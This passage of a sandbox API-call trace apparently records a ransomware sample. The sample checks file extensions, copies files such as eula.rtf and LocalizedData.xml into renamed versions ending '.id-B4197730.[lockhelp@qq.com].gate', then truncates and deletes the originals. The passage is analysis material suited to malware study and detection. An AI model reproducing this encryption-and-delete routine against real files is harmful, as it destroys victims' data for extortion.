[0112.605] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.605] lstrlenW (lpString=".bz2") returned 4 [0112.605] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.605] lstrlenW (lpString=".7z") returned 3 [0112.605] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0112.605] lstrlenW (lpString=".dbf") returned 4 [0112.605] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0112.605] lstrlenW (lpString=".1cd") returned 4 [0112.605] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0112.606] lstrlenW (lpString=".jpg") returned 4 [0112.606] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0112.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0112.606] lstrlenW (lpString=".doc") returned 4 [0112.606] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.606] lstrlenW (lpString=".docx") returned 5 [0112.606] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.606] lstrlenW (lpString=".pdf") returned 4 [0112.606] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.606] lstrlenW (lpString=".xls") returned 4 [0112.606] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.606] lstrlenW (lpString=".xlsx") returned 5 [0112.606] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.606] lstrlenW (lpString=".ppt") returned 4 [0112.606] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0112.606] lstrlenW (lpString=".zip") returned 4 [0112.606] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.606] lstrlenW (lpString=".rar") returned 4 [0112.606] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.606] lstrlenW (lpString=".bz2") returned 4 [0112.606] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.606] lstrlenW (lpString=".7z") returned 3 [0112.607] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0112.607] lstrlenW (lpString=".dbf") returned 4 [0112.607] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0112.607] lstrlenW (lpString=".1cd") returned 4 [0112.607] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.607] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0112.607] lstrlenW (lpString=".jpg") returned 4 [0112.607] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.607] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0112.607] lstrlenW (lpString="LocalizedData.xml") returned 17 [0112.607] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0112.607] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=82374) returned 1 [0112.608] CloseHandle (hObject=0x308) returned 1 [0112.608] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 0x80 [0112.608] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.608] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0112.608] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0112.608] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0112.608] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0112.608] GetLastError () returned 0x0 [0112.608] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x141c6, lpOverlapped=0x0) returned 1 [0113.055] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x141d0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x141d0, lpOverlapped=0x0) returned 1 [0113.057] ReadFile (in: hFile=0x308, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0113.057] WriteFile (in: hFile=0x30c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.057] SetEndOfFile (hFile=0x30c) returned 1 [0113.057] CloseHandle (hObject=0x30c) returned 1 [0113.059] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.059] SetEndOfFile (hFile=0x308) returned 1 [0113.060] CloseHandle (hObject=0x308) returned 1 [0113.060] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.060] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml")) returned 1 [0113.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0113.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0113.061] lstrlenW (lpString=".doc") returned 4 [0113.061] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.061] lstrlenW (lpString=".docx") returned 5 [0113.061] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.061] lstrlenW (lpString=".pdf") returned 4 [0113.061] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.061] lstrlenW (lpString=".xls") returned 4 [0113.061] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.061] lstrlenW (lpString=".xlsx") returned 5 [0113.061] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.061] lstrlenW (lpString=".ppt") returned 4 [0113.061] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.061] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0113.061] lstrlenW (lpString=".zip") returned 4 [0113.061] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.061] lstrlenW (lpString=".rar") returned 4 [0113.061] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.061] lstrlenW (lpString=".bz2") returned 4 [0113.062] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.062] lstrlenW (lpString=".7z") returned 3 [0113.062] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0113.062] lstrlenW (lpString=".dbf") returned 4 [0113.062] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0113.062] lstrlenW (lpString=".1cd") returned 4 [0113.062] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0113.062] lstrlenW (lpString=".jpg") returned 4 [0113.062] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0113.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0113.062] lstrlenW (lpString=".doc") returned 4 [0113.062] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.062] lstrlenW (lpString=".docx") returned 5 [0113.062] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.062] lstrlenW (lpString=".pdf") returned 4 [0113.062] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.062] lstrlenW (lpString=".xls") returned 4 [0113.062] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.062] lstrlenW (lpString=".xlsx") returned 5 [0113.062] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.062] lstrlenW (lpString=".ppt") returned 4 [0113.062] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.062] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0113.062] lstrlenW (lpString=".zip") returned 4 [0113.062] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.062] lstrlenW (lpString=".rar") returned 4 [0113.063] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.063] lstrlenW (lpString=".bz2") returned 4 [0113.063] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.063] lstrlenW (lpString=".7z") returned 3 [0113.063] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0113.063] lstrlenW (lpString=".dbf") returned 4 [0113.063] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0113.063] lstrlenW (lpString=".1cd") returned 4 [0113.063] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.063] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml") returned 44 [0113.063] lstrlenW (lpString=".jpg") returned 4 [0113.063] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.063] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0113.063] lstrlenW (lpString="eula.rtf") returned 8 [0113.063] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0113.095] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=54456) returned 1 [0113.095] CloseHandle (hObject=0x340) returned 1 [0113.095] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 0x80 [0113.095] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0113.095] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.096] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.096] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.096] GetLastError () returned 0x0 [0113.096] ReadFile (in: hFile=0x340, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0xd4b8, lpOverlapped=0x0) returned 1 [0113.157] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xd4c0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xd4c0, lpOverlapped=0x0) returned 1 [0113.159] ReadFile (in: hFile=0x340, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0113.159] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0113.159] SetEndOfFile (hFile=0x308) returned 1 [0113.159] CloseHandle (hObject=0x308) returned 1 [0113.161] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.161] SetEndOfFile (hFile=0x340) returned 1 [0113.162] CloseHandle (hObject=0x340) returned 1 [0113.162] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.162] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1049\\eula.rtf")) returned 1 [0113.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0113.162] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0113.162] lstrlenW (lpString=".doc") returned 4 [0113.162] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.163] lstrlenW (lpString=".docx") returned 5 [0113.163] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.163] lstrlenW (lpString=".pdf") returned 4 [0113.163] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.163] lstrlenW (lpString=".xls") returned 4 [0113.163] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.163] lstrlenW (lpString=".xlsx") returned 5 [0113.163] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.163] lstrlenW (lpString=".ppt") returned 4 [0113.163] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0113.163] lstrlenW (lpString=".zip") returned 4 [0113.163] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.163] lstrlenW (lpString=".rar") returned 4 [0113.163] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.163] lstrlenW (lpString=".bz2") returned 4 [0113.163] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.163] lstrlenW (lpString=".7z") returned 3 [0113.163] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0113.163] lstrlenW (lpString=".dbf") returned 4 [0113.163] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0113.163] lstrlenW (lpString=".1cd") returned 4 [0113.163] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0113.163] lstrlenW (lpString=".jpg") returned 4 [0113.163] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0113.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0113.163] lstrlenW (lpString=".doc") returned 4 [0113.163] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.163] lstrlenW (lpString=".docx") returned 5 [0113.163] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.163] lstrlenW (lpString=".pdf") returned 4 [0113.164] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.164] lstrlenW (lpString=".xls") returned 4 [0113.164] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.164] lstrlenW (lpString=".xlsx") returned 5 [0113.164] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.164] lstrlenW (lpString=".ppt") returned 4 [0113.164] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0113.164] lstrlenW (lpString=".zip") returned 4 [0113.164] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.164] lstrlenW (lpString=".rar") returned 4 [0113.164] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.164] lstrlenW (lpString=".bz2") returned 4 [0113.164] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.164] lstrlenW (lpString=".7z") returned 3 [0113.164] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0113.164] lstrlenW (lpString=".dbf") returned 4 [0113.164] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0113.164] lstrlenW (lpString=".1cd") returned 4 [0113.164] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\eula.rtf") returned 35 [0113.164] lstrlenW (lpString=".jpg") returned 4 [0113.164] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.164] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0113.164] lstrlenW (lpString="eula.rtf") returned 8 [0113.164] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0113.165] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3859) returned 1 [0113.165] CloseHandle (hObject=0x340) returned 1 [0113.165] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 0x80 [0113.165] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.165] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0113.165] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.165] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.165] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0113.165] GetLastError () returned 0x0 [0113.165] ReadFile (in: hFile=0x340, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0xf13, lpOverlapped=0x0) returned 1 [0113.231] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xf20, lpOverlapped=0x0) returned 1 [0113.232] ReadFile (in: hFile=0x340, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0113.232] WriteFile (in: hFile=0x308, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xe4, lpOverlapped=0x0) returned 1 [0113.233] SetEndOfFile (hFile=0x308) returned 1 [0113.234] CloseHandle (hObject=0x308) returned 1 [0113.235] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0113.235] SetEndOfFile (hFile=0x340) returned 1 [0113.236] CloseHandle (hObject=0x340) returned 1 [0113.236] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.236] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf")) returned 1 [0113.237] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0113.237] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0113.237] lstrlenW (lpString=".doc") returned 4 [0113.237] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.237] lstrlenW (lpString=".docx") returned 5 [0113.237] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.237] lstrlenW (lpString=".pdf") returned 4 [0113.237] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.237] lstrlenW (lpString=".xls") returned 4 [0113.237] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.237] lstrlenW (lpString=".xlsx") returned 5 [0113.237] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.237] lstrlenW (lpString=".ppt") returned 4 [0113.237] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.237] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0113.237] lstrlenW (lpString=".zip") returned 4 [0113.237] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.237] lstrlenW (lpString=".rar") returned 4 [0113.237] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.237] lstrlenW (lpString=".bz2") returned 4 [0113.237] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.237] lstrlenW (lpString=".7z") returned 3 [0113.237] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.237] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0113.237] lstrlenW (lpString=".dbf") returned 4 [0113.237] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.237] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0113.237] lstrlenW (lpString=".1cd") returned 4 [0113.238] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.238] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0113.238] lstrlenW (lpString=".jpg") returned 4 [0113.238] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0113.238] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0113.238] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0113.238] lstrlenW (lpString=".doc") returned 4 [0113.238] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0113.238] lstrlenW (lpString=".docx") returned 5 [0113.238] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0113.238] lstrlenW (lpString=".pdf") returned 4 [0113.238] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0113.238] lstrlenW (lpString=".xls") returned 4 [0113.238] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0113.238] lstrlenW (lpString=".xlsx") returned 5 [0113.238] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0113.238] lstrlenW (lpString=".ppt") returned 4 [0113.238] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0113.238] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0113.238] lstrlenW (lpString=".zip") returned 4 [0113.238] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0113.238] lstrlenW (lpString=".rar") returned 4 [0113.238] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0113.238] lstrlenW (lpString=".bz2") returned 4 [0113.238] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0113.238] lstrlenW (lpString=".7z") returned 3 [0113.238] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0113.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0113.239] lstrlenW (lpString=".dbf") returned 4 [0113.239] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0113.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0113.239] lstrlenW (lpString=".1cd") returned 4 [0113.239] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0113.239] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 35 [0113.239] lstrlenW (lpString=".jpg") returned 4 [0113.239] lstrcmpiW 